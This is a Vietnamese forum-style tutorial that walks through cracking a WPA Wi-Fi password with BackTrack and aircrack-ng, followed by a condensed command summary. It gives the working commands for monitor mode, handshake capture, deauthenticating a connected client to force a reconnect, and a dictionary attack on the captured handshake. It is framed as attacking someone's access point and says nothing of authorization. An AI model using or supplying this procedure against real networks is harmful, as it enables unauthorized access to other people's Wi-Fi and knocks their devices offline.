Hack à cũng hên xui thôi. quan trong là có từ điển.
các bước cần chuẩn bị :
Tải bộ từ điển về hoặc là dùng từ điển có sẵn trong trong BT .
một cái USB và Backtrack*.ISO
Soft tạo boot linux unetbootin-windows-575.exe để tạo file boot cho linux trên usb và xả nén file ISO vào USB. còn nếu dùng máy ảo thì phức tạp hơn và phải dùng card WL ngoài chú ý :kiển tra card mạng có hỗ trợ hack không(chuyển sang chế độ monitoring mode được).
Ok tiến hành thử coi.
1 Boot vào USB
chọn safe mode hoặc startx để vào graphic mode.
mở shell thứ 1
gõ lệng :
airmon-ng kiểm tra wlan có ok không ví dụ ok thì sẽ hiện chẳng hạn như Wlan0,ath0...
airmon-ng start Wlan0 (ví dụ khi gõ lệnh airmon-ng nó hiện ra .. wlan0 thì lệnh sau mới dùng wlan0, ở đâu tui ví dụ là wlan0).
thu thập các thông tin của AP cần attack những thông tin cần: kênh, mac của AP,mac của client đang kết nối đến AP.
airodump-ng -c 6 --bssid xx:xx:xx:xx:xx:xx -w tenfilechuagoitinbatduoc mon0
-c 6 là kênh của AP đó nhìn thấy chữ CH bên trên đó. -w là ghi thông tin bắt được vào
vào tenfilechuagoitinbatduoc kết quả chú ý nếu thấy chứ WPA Handshake ... ở góc
trên phải là đã bắt tay 4 lần(quá trình kết nối của một client đến AP phải qua 4 lần)
để quá trình này diễn ra nhanh thì dùng lệnh sau.
aireplay-ng -0 1 -a xx:xx:xx:xx:xx:xx -c yy:yy:yy:yy:yy:yy mon0
yy:yy... là mac của client đang kết nối tới AP đó
nếu hiện WPA Handshake .. như đã nói ở trên thì tiến hành bước cuối cùng là dò keys
mở shell mới
aircrack-ng -c /đường dẫn file bắt gói tin -w đường dẫn file từ điển
VD: aircrack-ng -c /root/tenfilechuagoitinbatduoc-01.cap -w /mnt/IT/wordlist/keys.txt
--------------
tóm tắt ngắn gọn
1: airodump-ng
2: airmon-ng start wlan0
3: airodump-ng -c 1 --bssid 00:1A:2B:83:CB:82 -w capture mon0
5: aireplay-ng -0 1 -a 00:1A:2B:83:CB:82 -c CC:AF:78:A4:9B:71 mon0
6: aircrack-ng -c /root/capture-01.cap -w /mnt/IT/wordlist/keys.txt
Waiting !!
--------------
Nếu cần thì PM
ngoctunggialai@yahoo.com
Nên tìm hiểu kỹ hiểu ý nghĩa lệnh trước hack ,bạn có thể tham khảo link sau:
http://vn.360plus.yahoo.com/thanglon...article?mid=5&
http://www.aircrack-ng.org/doku.php?id=cracking_wpa
http://trongtien.wordpress.com/2010/...y-tren-vmware/